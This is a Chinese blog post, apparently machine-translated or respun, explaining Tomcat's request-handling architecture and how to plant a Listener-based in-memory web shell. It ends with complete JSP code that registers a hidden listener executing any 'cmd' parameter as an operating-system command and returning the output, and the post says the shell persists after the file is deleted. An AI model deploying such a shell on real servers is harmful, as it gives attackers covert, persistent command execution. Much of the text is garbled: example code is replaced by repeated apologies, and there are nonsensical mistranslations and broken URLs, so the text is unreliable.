最后更新:2021-11-06 08:44
Tomcat作为一个网络服务器,履行两项关键职能:

这两项职能涉及两个基本组成部分连接器(连接器)和容器(容器),分别负责外部通信(全HTTP服务器功能)和内部处理(完整的服务集装箱功能)。

Server
“服务器”一词是指整个Tomcat服务器只有一个服务器服务器,其中至少包含一个服务部分,以提供某些服务。
Service
A Service是服务器的内部组成部分,服务器可以拥有许多服务。它将各种连接器组件连接到集装箱上。
Connector
它被称为连接器,是服务的基本组成部分之一,一个服务处可拥有若干连接器,主要与客户请求连接,收集请求,将其封装到请求和反应中,然后将其运输到集装箱进行处理,处理后再送回容器。
Container
用户的处理服务器请求
连接有三个主要功能:
端点、教授和适应器是上述三个组成部分。端点负责向教授发送请求字节流,教授负责向适应器提供托姆卡特定义请求对象,适应器负责向服务器容器提供标准服务请求对象。

集装箱部件(通常称为Catalina)是Tomcat的核心。 集装箱内有四个集装箱:工程、主机、上下文和包装箱。 四个容器为婴儿组配有分层结构设计。

四种容器的作用:
如下图所示, a. I'm not sure you're talking about, com and b. Com 与两个主机相对应。

Tomcat 结构图 :

请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

Becamploy Lissteiner是第一个装入的, 我们可以使用动态注册的恶性听力员记忆马。 听力员分类如下:
" 请求 " 物体的监听装置最适合生成记忆马,如果提供访问服务,可以启动活动。
如果您想要在Tomcat中添加一个听众, 您必须创建两个接口 :LifecycleListener和原生EvenListener。
实现了LifecycleListener在Tomcat的早期启动阶段,客户的要求尚未进入解决阶段,而且不适合用于记忆马时,听众通常在托姆卡特的早期启动阶段运作。
所以来看另一个EventListener与Tomcat, 界面指定了很多继承。EventListener,应用到每个对象的监听中。

重点来看ServletRequestListener接口

ServletRequestListener用于监听ServletRequest当我们获得任何资源时,无论是服务、jsp或静态资源,都是由建造和摧毁物体所触发的。requestInitialized方法。
给自己做个演示介绍ServletRequestListener与其执行流程
Tomcat来源调试环境:https://zhuanlan. comI道歉,
写一个继承于ServletRequestListener接口的TestListener:
公共阶级考驗,我真抱歉,抱歉,抱歉,但很抱歉,我實在很抱歉,抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在抱歉,我實在是對不起,但我很抱歉,我實在很抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉。 我實在很抱歉,我實在很抱歉,我實在很抱歉,我實在很抱歉。
可在互联网上查阅。 配置 xml :
<listener>
<listener-class>test.TestListener</listener-class>
</listener>
获取任何路径: http://8080/11

正如你所看到的,信息是写在控制板上的,这是Tomcat先做的requestInitialized,然后再执行了requestDestroyed

反转: 创建请求对象时触发 。
反向销毁:请求对象被销毁时触发 。
StandardContext目标就是在那里为了谋杀他而设的
接以上环境,直接在requestInitialized进入电路后,下断点显示整个呼叫链。

Tomcat进入了呼叫链StandardHostValve它基于我们的听众概念。

跟进context.fireRequestInitEvent,从该图的红相框中可以看出requestInitialized方法

经过进一步调查,发现上述Lissteiner是..StandardContext#getApplicationEventListeners方法中获得的


在StandardContext#addApplicationEventListener收听者已被添加 。

"呼叫",我们想此时此刻。StandardContext#addApplicationEventListener我们创造出我们邪恶的听众的方式
在jsp中如何获得StandardContext对象
方式一:
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
方式二:
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
下列记忆马可在互联网上免费获得:
test.jsp
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
内存马是通过先访问上传测试. jsp 来创建的, 即使测试. jsp 被删除, 只要服务器不被重新启动, 内存马也会持续 。


本文由 在线网速测试 整理编辑,转载请注明出处。